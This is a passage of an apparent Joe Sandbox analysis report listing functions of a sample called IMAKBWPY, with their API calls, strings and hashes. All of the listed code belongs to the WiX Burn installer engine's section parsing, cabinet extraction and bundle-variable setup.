GetLastError.KERNEL32(?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB906

Strings

4, xrefs: 009AB884
Failed to find valid DOS image header in buffer., xrefs: 009ABBEB
Failed to read section info, data to short: %u, xrefs: 009AB8AA
burn, xrefs: 009AB838
Failed to read complete image section header, index: %u, xrefs: 009ABB75
Failed to read signature size., xrefs: 009AB796
Failed to find Burn section., xrefs: 009ABB32
.wix, xrefs: 009AB830
PE, xrefs: 009AB698
Failed to seek to start of file., xrefs: 009AB581
Failed to read section info., xrefs: 009AB999
Failed to get total size of bundle., xrefs: 009ABA23
Failed to read image section header, index: %u, xrefs: 009ABBAC
Failed to open handle to engine process path., xrefs: 009AB52D
Failed to allocate buffer for section info., xrefs: 009AB8E4
Failed to find valid NT image header in buffer., xrefs: 009ABBD0
Failed to seek to NT header., xrefs: 009AB632
Failed to allocate memory for container sizes., xrefs: 009ABAD3
Failed to read DOS header., xrefs: 009AB5CF
Failed to seek to section info., xrefs: 009AB6F8, 009AB934
Failed to read signature offset., xrefs: 009AB747
section.cpp, xrefs: 009AB523, 009AB577, 009AB5C5, 009AB628, 009AB677, 009AB6EE, 009AB73D, 009AB78C, 009AB7E1, 009AB898, 009AB8D8, 009AB92A, 009AB98F, 009AB9B9, 009AB9E0, 009ABAC7, 009ABB07, 009ABB26, 009ABB63, 009ABBA1, 009ABBC4, 009ABBDF
Failed to read section info, unsupported version: %08x, xrefs: 009AB9F5
(, xrefs: 009AB81D
Failed to read complete section info., xrefs: 009AB9C5
PE Header from file didn't match PE Header in memory., xrefs: 009ABB11
Failed to read NT header., xrefs: 009AB681
Failed to seek past optional headers., xrefs: 009AB7EB

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: File$ErrorLast$Read$Pointer$Heap$AllocateProcess
String ID: ($.wix$4$Failed to allocate buffer for section info.$Failed to allocate memory for container sizes.$Failed to find Burn section.$Failed to find valid DOS image header in buffer.$Failed to find valid NT image header in buffer.$Failed to get total size of bundle.$Failed to open handle to engine process path.$Failed to read DOS header.$Failed to read NT header.$Failed to read complete image section header, index: %u$Failed to read complete section info.$Failed to read image section header, index: %u$Failed to read section info, data to short: %u$Failed to read section info, unsupported version: %08x$Failed to read section info.$Failed to read signature offset.$Failed to read signature size.$Failed to seek past optional headers.$Failed to seek to NT header.$Failed to seek to section info.$Failed to seek to start of file.$PE$PE Header from file didn't match PE Header in memory.$burn$section.cpp
API String ID: 3411815225-695169583
Opcode ID: 3d9929647a0c5548209b400be723140267d7314ea878ec082377956753ffe82f
Instruction ID: 06ea805f70bf2347e05679171eaa8912e77dec2ae714cd05dc8186e44fe5e206
Opcode Fuzzy Hash: 3d9929647a0c5548209b400be723140267d7314ea878ec082377956753ffe82f
Instruction Fuzzy Hash: 4D12F876D40235EBDB319B558C46FAB76A8EF86724F0141A9FE04BB282D7749D40CBE0

Function 009C0D16 Relevance: 54.6, APIs: 20, Strings: 11, Instructions: 306
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEvent.KERNEL32(?,?,?,?,?,009C08BC,?,?), ref: 009C0D25
GetLastError.KERNEL32(?,?,?,?,009C08BC,?,?), ref: 009C0D2F
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,009C08BC,?,?), ref: 009C0D74
GetLastError.KERNEL32(?,?,?,?,009C08BC,?,?), ref: 009C0D7F
ResetEvent.KERNEL32(?,?,?,?,?,009C08BC,?,?), ref: 009C0DB7
GetLastError.KERNEL32(?,?,?,?,009C08BC,?,?), ref: 009C0DC1

Strings

Failed to reset begin operation event., xrefs: 009C0DEF, 009C0F2B
cabextract.cpp, xrefs: 009C0D53, 009C0DA3, 009C0DE5, 009C0E11, 009C0E94, 009C0EDC, 009C0F21, 009C0F89, 009C0FF4, 009C1045, 009C108A, 009C10CE
Failed to set end of file., xrefs: 009C1094
Failed to allocate buffer for stream., xrefs: 009C0F93
Invalid operation for this state., xrefs: 009C0E1D
Failed to set operation complete event., xrefs: 009C0D5D, 009C0E9E
Failed to create file: %ls, xrefs: 009C1001
Failed to copy stream name: %ls, xrefs: 009C0E50
Failed to wait for begin operation event., xrefs: 009C0DAD, 009C0EE6
Failed to set file pointer to end of file., xrefs: 009C104F
Failed to set file pointer to beginning of file., xrefs: 009C10D8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$Event$ObjectResetSingleWait
String ID: Failed to allocate buffer for stream.$Failed to copy stream name: %ls$Failed to create file: %ls$Failed to reset begin operation event.$Failed to set end of file.$Failed to set file pointer to beginning of file.$Failed to set file pointer to end of file.$Failed to set operation complete event.$Failed to wait for begin operation event.$Invalid operation for this state.$cabextract.cpp
API String ID: 1865021742-2104912459
Opcode ID: 7897d142a7ca9c6e919caede721a839e321859fa3a7ad42f3ed5b0f740aca70a
Instruction ID: 5eeb8f63031fdd4586d512d2e91a27de4663acd4afebaf8ef4e42ce07d235675
Opcode Fuzzy Hash: 7897d142a7ca9c6e919caede721a839e321859fa3a7ad42f3ed5b0f740aca70a
Instruction Fuzzy Hash: 80914377E80636E7D73056A94D4AF2A2954BF81B30F124628BF64BF2D1D354EC4092D7

Function 009A4D39 Relevance: 38.7, APIs: 6, Strings: 16, Instructions: 220
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A33C7: GetModuleFileNameW.KERNEL32(?,?,00000104,?,00000104,?,?,?,?,009A10DD,?,00000000), ref: 009A33E8

CloseHandle.KERNEL32(00000000,?,000000FF,?,?,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 009A4F40
CloseHandle.KERNEL32(000000FF,?,000000FF,?,?,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 009A4F4F
CloseHandle.KERNEL32(000000FF,?,000000FF,?,?,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 009A4F5E
CloseHandle.KERNEL32(?,?,000000FF,?,?,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 009A4F69

Strings

-%ls="%ls", xrefs: 009A4DE6
engine.cpp, xrefs: 009A4EEA
burn.filehandle.self, xrefs: 009A4E45
Failed to wait for clean room process: %ls, xrefs: 009A4F23
Failed to append %ls, xrefs: 009A4E1C
burn.filehandle.attached, xrefs: 009A4E17
Failed to append original command line., xrefs: 009A4E69
Failed to get path for current process., xrefs: 009A4D83
Failed to allocate full command-line., xrefs: 009A4E8E
burn.clean.room, xrefs: 009A4DDE
Failed to launch clean room process: %ls, xrefs: 009A4EF7
Failed to allocate parameters for unelevated process., xrefs: 009A4DFA
"%ls" %ls, xrefs: 009A4E7A
Failed to cache to clean room., xrefs: 009A4DC2
D, xrefs: 009A4EA9
%ls %ls, xrefs: 009A4E55

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseHandle$FileModuleName
String ID: "%ls" %ls$%ls %ls$-%ls="%ls"$D$Failed to allocate full command-line.$Failed to allocate parameters for unelevated process.$Failed to append %ls$Failed to append original command line.$Failed to cache to clean room.$Failed to get path for current process.$Failed to launch clean room process: %ls$Failed to wait for clean room process: %ls$burn.clean.room$burn.filehandle.attached$burn.filehandle.self$engine.cpp
API String ID: 3884789274-2391192076
Opcode ID: fb7b8ac4f8e9aeb04a6146bc601207fbdbbc415666fc8d00c9c3d706c13f3db3
Instruction ID: 226f12a07fbeaf468739ff38768341ebbcedd542e3375b20061c2a295e05b024
Opcode Fuzzy Hash: fb7b8ac4f8e9aeb04a6146bc601207fbdbbc415666fc8d00c9c3d706c13f3db3
Instruction Fuzzy Hash: 8071A632D4026AABCF229BA5CC45EEFBB78AF85720F100115F910B7291D7B49E418BE0

Function 009B752A Relevance: 37.0, APIs: 1, Strings: 20, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to get manifest stream from container., xrefs: 009B75CC
Failed to overwrite the %ls built-in variable., xrefs: 009B76BB
Failed to set source process folder variable., xrefs: 009B7745
Failed to set source process path variable., xrefs: 009B7709
Failed to get unique temporary folder for bootstrapper application., xrefs: 009B77CE
Failed to get source process folder from path., xrefs: 009B7725
Failed to set original source variable., xrefs: 009B776A
WixBundleSourceProcessPath, xrefs: 009B76F8
Failed to open attached UX container., xrefs: 009B758E
Failed to load catalog files., xrefs: 009B780F
Failed to parse command line., xrefs: 009B7667
WixBundleElevated, xrefs: 009B76A5, 009B76B6
WixBundleUILevel, xrefs: 009B76D6, 009B76E7
WixBundleSourceProcessFolder, xrefs: 009B7734
Failed to open manifest stream., xrefs: 009B75AB
Failed to load manifest., xrefs: 009B75E8
Failed to initialize variables., xrefs: 009B7571
Failed to extract bootstrapper application payloads., xrefs: 009B77EF
WixBundleOriginalSource, xrefs: 009B7759
Failed to initialize internal cache functionality., xrefs: 009B779F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: Failed to extract bootstrapper application payloads.$Failed to get manifest stream from container.$Failed to get source process folder from path.$Failed to get unique temporary folder for bootstrapper application.$Failed to initialize internal cache functionality.$Failed to initialize variables.$Failed to load catalog files.$Failed to load manifest.$Failed to open attached UX container.$Failed to open manifest stream.$Failed to overwrite the %ls built-in variable.$Failed to parse command line.$Failed to set original source variable.$Failed to set source process folder variable.$Failed to set source process path variable.$WixBundleElevated$WixBundleOriginalSource$WixBundleSourceProcessFolder$WixBundleSourceProcessPath$WixBundleUILevel
API String ID: 32694325-1564579409
Opcode ID: 4e8b66dcccdb9046691cd2cfdb6a5ea9208fb74d756e1fa0712fa62579f006f6
Instruction ID: 759e805665b015079009dfa686b8378d79f6283313dc4257e811f89d014c9544
Opcode Fuzzy Hash: 4e8b66dcccdb9046691cd2cfdb6a5ea9208fb74d756e1fa0712fa62579f006f6
Instruction Fuzzy Hash: 7CA17372E4461ABADB129AE4CD85FEBF7ACBB84724F010626F615E7141DB70E904C7E0

Function 009B86D0 Relevance: 35.2, APIs: 9, Strings: 11, Instructions: 209
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,40000000,00000005,00000000,00000002,08000080,00000000,?,00000000,00000000,009A4DBC,?,?,00000000,009A4DBC,00000000), ref: 009B8713
GetLastError.KERNEL32 ref: 009B8720

Part of subcall function 009E3EDD: ReadFile.KERNELBASE(?,?,00000000,?,00000000), ref: 009E3F73

SetFilePointerEx.KERNEL32(00000000,009EB4B8,00000000,00000000,00000000,?,00000000,009EB500,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009B87CD
GetLastError.KERNEL32 ref: 009B87D7
CloseHandle.KERNELBASE(00000000,?,00000000,009EB500,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009B8902

Strings

Failed to seek to beginning of engine file: %ls, xrefs: 009B8779
Failed to zero out original data offset., xrefs: 009B88F4
Failed to create engine file at path: %ls, xrefs: 009B8751
cabinet.dll, xrefs: 009B887B
Failed to seek to signature table in exe header., xrefs: 009B886C
msi.dll, xrefs: 009B8814
Failed to copy engine from: %ls to: %ls, xrefs: 009B87A8
Failed to seek to checksum in exe header., xrefs: 009B8805
Failed to seek to original data in exe burn section header., xrefs: 009B88DB
cache.cpp, xrefs: 009B8744, 009B87FB, 009B8862, 009B88D1
Failed to update signature offset., xrefs: 009B8821

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: File$ErrorLast$CloseCreateHandlePointerRead
String ID: Failed to copy engine from: %ls to: %ls$Failed to create engine file at path: %ls$Failed to seek to beginning of engine file: %ls$Failed to seek to checksum in exe header.$Failed to seek to original data in exe burn section header.$Failed to seek to signature table in exe header.$Failed to update signature offset.$Failed to zero out original data offset.$cabinet.dll$cache.cpp$msi.dll
API String ID: 3456208997-1976062716
Opcode ID: 8240cccfd1b0ae4a1c5afe92df8e3b585b1495e10eb2e1e31325fbf1ecd00959
Instruction ID: a3d755ba9793cea8836341b30f2b976bbccd91eb6c14e224944751a4a795096b
Opcode Fuzzy Hash: 8240cccfd1b0ae4a1c5afe92df8e3b585b1495e10eb2e1e31325fbf1ecd00959
Instruction Fuzzy Hash: E451C772A4163AABDB125A948D46FBF756CAF88B30F110524FF10FB281EA549C00D7E1

Function 009A762C Relevance: 34.9, APIs: 1, Strings: 22, Instructions: 420
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(009B756B,009A53BD,00000000,009A5445), ref: 009A764C

Strings

InstallerVersion, xrefs: 009A7833
WixBundleActiveParent, xrefs: 009A7E62
InstallerName, xrefs: 009A7812
WixBundleVersion, xrefs: 009A7ECE
Date, xrefs: 009A7770
WixBundleExecutePackageAction, xrefs: 009A7DF8
LogonUser, xrefs: 009A7882
WixBundleAction, xrefs: 009A7D76
WixBundleInstalled, xrefs: 009A7E2A
Failed to add built-in variable: %ls., xrefs: 009A7F19
0, xrefs: 009A7663
', xrefs: 009A78EB
#, xrefs: 009A76CB
WixBundleTag, xrefs: 009A7EAE
WixBundleSourceProcessPath, xrefs: 009A7E8E
WixBundleForcedRestartPackage, xrefs: 009A7E14
WixBundleExecutePackageCacheFolder, xrefs: 009A7D98
WixBundleElevated, xrefs: 009A7E46
WixBundleUILevel, xrefs: 009A7EBE
WixBundleSourceProcessFolder, xrefs: 009A7E9E
$, xrefs: 009A7D49
WixBundleProviderKey, xrefs: 009A7E7E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: #$$$'$0$Date$Failed to add built-in variable: %ls.$InstallerName$InstallerVersion$LogonUser$WixBundleAction$WixBundleActiveParent$WixBundleElevated$WixBundleExecutePackageAction$WixBundleExecutePackageCacheFolder$WixBundleForcedRestartPackage$WixBundleInstalled$WixBundleProviderKey$WixBundleSourceProcessFolder$WixBundleSourceProcessPath$WixBundleTag$WixBundleUILevel$WixBundleVersion
API String ID: 32694325-3635313340
Opcode ID: d9539dfddcde36abd7cae3bba63e1d57734fd4b17d8241213c3b0d782449b58a
Instruction ID: 90523ec3f0c4885b84b5d044f1cc1bffc70984a91602ac18d267c6de59b9d43a
Opcode Fuzzy Hash: d9539dfddcde36abd7cae3bba63e1d57734fd4b17d8241213c3b0d782449b58a
Instruction Fuzzy Hash: 4A3256F0D157699FDB768F5AC98878DFAF4BB49304F5081EED25CA6210C7B00A898F85

Function 009B82BA Relevance: 31.7, APIs: 7, Strings: 11, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,00000000,00000000,009A5489), ref: 009B8310

Part of subcall function 009E0879: OpenProcessToken.ADVAPI32(?,00000008,?,009A53BD,00000000,?,?,?,?,?,?,?,009B769D,00000000), ref: 009E0897
Part of subcall function 009E0879: GetLastError.KERNEL32(?,?,?,?,?,?,?,009B769D,00000000), ref: 009E08A1
Part of subcall function 009E0879: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,009B769D,00000000), ref: 009E092B

GetWindowsDirectoryW.KERNEL32(?,00000104,00000000), ref: 009B8336
GetLastError.KERNEL32 ref: 009B8340
GetTempPathW.KERNEL32(00000104,?,00000000), ref: 009B83BD
GetLastError.KERNEL32 ref: 009B83C7
UuidCreate.RPCRT4(?), ref: 009B8406

Strings

Failed to concat Temp directory on windows path for working folder., xrefs: 009B83AD
Failed to convert working folder guid into string., xrefs: 009B8446
Failed to create working folder guid., xrefs: 009B8413
Failed to get windows path for working folder., xrefs: 009B836E
%ls%ls\, xrefs: 009B8458
Failed to get temp path for working folder., xrefs: 009B83F5
Failed to append bundle id on to temp path for working folder., xrefs: 009B8470
Temp\, xrefs: 009B8395
cache.cpp, xrefs: 009B8364, 009B83EB, 009B843C
Failed to ensure windows path for working folder ended in backslash., xrefs: 009B838B
Failed to copy working folder path., xrefs: 009B848B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$Process$CloseCreateCurrentDirectoryHandleOpenPathTempTokenUuidWindows
String ID: %ls%ls\$Failed to append bundle id on to temp path for working folder.$Failed to concat Temp directory on windows path for working folder.$Failed to convert working folder guid into string.$Failed to copy working folder path.$Failed to create working folder guid.$Failed to ensure windows path for working folder ended in backslash.$Failed to get temp path for working folder.$Failed to get windows path for working folder.$Temp\$cache.cpp
API String ID: 266130487-819636856
Opcode ID: 4f20cd89b98d0a6cb1ce16c2f1bb3853303e03d97525337b8f9fd34453947df3
Instruction ID: 45f34578a8e5cb3d134c6e8e89bacda5caabf9fe5780602e7b42c7bd0ee06290
Opcode Fuzzy Hash: 4f20cd89b98d0a6cb1ce16c2f1bb3853303e03d97525337b8f9fd34453947df3
Instruction Fuzzy Hash: 6541E833E45329B7D73096A58D4AFEB73ACAB88B24F104565BB04EB150EE749D00C7E1

Function 009C10FB Relevance: 30.0, APIs: 8, Strings: 9, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 009C111D
CoUninitialize.COMBASE ref: 009C1398

Strings

<the>.cab, xrefs: 009C11BD
Failed to initialize COM., xrefs: 009C1129
Failed to reset begin operation event., xrefs: 009C1350
cabextract.cpp, xrefs: 009C1193, 009C12BA, 009C1307, 009C1346, 009C1372
Invalid operation for this state., xrefs: 009C137C
Failed to set operation complete event., xrefs: 009C12C4
Failed to extract all files from container, erf: %d:%X:%d, xrefs: 009C1279
Failed to wait for begin operation event., xrefs: 009C1311
Failed to initialize cabinet.dll., xrefs: 009C119F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: InitializeUninitialize
String ID: <the>.cab$Failed to extract all files from container, erf: %d:%X:%d$Failed to initialize COM.$Failed to initialize cabinet.dll.$Failed to reset begin operation event.$Failed to set operation complete event.$Failed to wait for begin operation event.$Invalid operation for this state.$cabextract.cpp
API String ID: 3442037557-1168358783
Opcode ID: dc95686256ea73e06c5ae1a669470c4ecb9df2db3859fa1b4dfe4e918fa8783d
Instruction ID: 78f72f48a6804c94a7d25c1c02118dfb0ac06525ebdd3c5c70bcc1dba12b3cd2
Opcode Fuzzy Hash: dc95686256ea73e06c5ae1a669470c4ecb9df2db3859fa1b4dfe4e918fa8783d
Instruction Fuzzy Hash: 5E51693AE842A5D7DF2056958C05F7B36589BC3774B22436EBE21FB392D6198C0092DB

Function 009A42D7 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 158
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00000000,?,00000000,00000000,?,?,009A5266,?,?,00000000,?,?), ref: 009A4303
InitializeCriticalSection.KERNEL32(000000D0,?,?,009A5266,?,?,00000000,?,?), ref: 009A430C
lstrlenW.KERNEL32(burn.filehandle.attached,000004B8,000004A0,?,?,009A5266,?,?,00000000,?,?), ref: 009A4352
lstrlenW.KERNEL32(burn.filehandle.attached,burn.filehandle.attached,00000000,?,?,009A5266,?,?,00000000,?,?), ref: 009A435C
CompareStringW.KERNEL32(0000007F,00000001,?,00000000,?,?,009A5266,?,?,00000000,?,?), ref: 009A4370
lstrlenW.KERNEL32(burn.filehandle.attached,?,?,009A5266,?,?,00000000,?,?), ref: 009A4380
lstrlenW.KERNEL32(burn.filehandle.self,?,?,009A5266,?,?,00000000,?,?), ref: 009A43D0
lstrlenW.KERNEL32(burn.filehandle.self,burn.filehandle.self,00000000,?,?,009A5266,?,?,00000000,?,?), ref: 009A43DA
CompareStringW.KERNEL32(0000007F,00000001,?,00000000,?,?,009A5266,?,?,00000000,?,?), ref: 009A43EE
lstrlenW.KERNEL32(burn.filehandle.self,?,?,009A5266,?,?,00000000,?,?), ref: 009A43FE

Strings

engine.cpp, xrefs: 009A4495, 009A44C1
burn.filehandle.self, xrefs: 009A43CB, 009A43D3, 009A43D8, 009A43D9, 009A43F9, 009A44CB
burn.filehandle.attached, xrefs: 009A434D, 009A4355, 009A435A, 009A435B, 009A437B, 009A449F
Failed to parse file handle: '%ls', xrefs: 009A4482
Failed to initialize engine section., xrefs: 009A4467
Missing required parameter for switch: %ls, xrefs: 009A44A4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: lstrlen$CompareCriticalInitializeSectionString
String ID: Failed to initialize engine section.$Failed to parse file handle: '%ls'$Missing required parameter for switch: %ls$burn.filehandle.attached$burn.filehandle.self$engine.cpp
API String ID: 3039292287-3209860532
Opcode ID: 2e4aa52ce53f4cf1945a5090994c48b8d9b3f4ddadee95f21e25fdf1c048e851
Instruction ID: 6ab62b90ed749b8150a336cae1d45d61ce5635f34d34234e83232e39c5117b7d
Opcode Fuzzy Hash: 2e4aa52ce53f4cf1945a5090994c48b8d9b3f4ddadee95f21e25fdf1c048e851
Instruction Fuzzy Hash: FF51B271A04256BECB21DB69CC86F9B77ECEF85760F100115F614D72A1D7B0AD50CAE0

Function 009AC28F Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 131fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,08000080,00000000,?,00000000,00000000,?,009AC47F,009A5405,?,?,009A5445), ref: 009AC2D6
GetLastError.KERNEL32(?,009AC47F,009A5405,?,?,009A5445,009A5445,00000000,?,00000000), ref: 009AC2E7
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002,?,00000000,00000000,?,009AC47F,009A5405,?,?,009A5445,009A5445,00000000,?), ref: 009AC336
GetCurrentProcess.KERNEL32(000000FF,00000000,?,009AC47F,009A5405,?,?,009A5445,009A5445,00000000,?,00000000), ref: 009AC33C
DuplicateHandle.KERNELBASE(00000000,?,009AC47F,009A5405,?,?,009A5445,009A5445,00000000,?,00000000), ref: 009AC33F
GetLastError.KERNEL32(?,009AC47F,009A5405,?,?,009A5445,009A5445,00000000,?,00000000), ref: 009AC349
SetFilePointerEx.KERNELBASE(?,00000000,00000000,00000000,00000000,?,009AC47F,009A5405,?,?,009A5445,009A5445,00000000,?,00000000), ref: 009AC39B
GetLastError.KERNEL32(?,009AC47F,009A5405,?,?,009A5445,009A5445,00000000,?,00000000), ref: 009AC3A5

Strings

Failed to open file: %ls, xrefs: 009AC318
feclient.dll, xrefs: 009AC398
container.cpp, xrefs: 009AC30B, 009AC36D, 009AC3C9
Failed to open container., xrefs: 009AC3F1
Failed to duplicate handle to container: %ls, xrefs: 009AC37A
Failed to move file pointer to container offset., xrefs: 009AC3D3
crypt32.dll, xrefs: 009AC397

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CurrentFileProcess$CreateDuplicateHandlePointer
String ID: Failed to duplicate handle to container: %ls$Failed to move file pointer to container offset.$Failed to open container.$Failed to open file: %ls$container.cpp$crypt32.dll$feclient.dll
API String ID: 2619879409-373955632
Opcode ID: 3c0c5e0efe6f3ba2987a1549c16a51491f3fa75d77722baaaca1468dadc52f23
Instruction ID: 3e0d59ec7f57a5f4a3bec9ed7b8de4a782d0a04147948b3f9b8016f2e603c1ef
Opcode Fuzzy Hash: 3c0c5e0efe6f3ba2987a1549c16a51491f3fa75d77722baaaca1468dadc52f23
Instruction Fuzzy Hash: A041B576140241ABDF219E5A8C49F1B3AA9EFC6720B218429FA24AF351DB71DC019BE0

Function 009E2AF7 Relevance: 26.3, APIs: 7, Strings: 8, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 009A3838: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 009A3877
Part of subcall function 009A3838: GetLastError.KERNEL32 ref: 009A3881

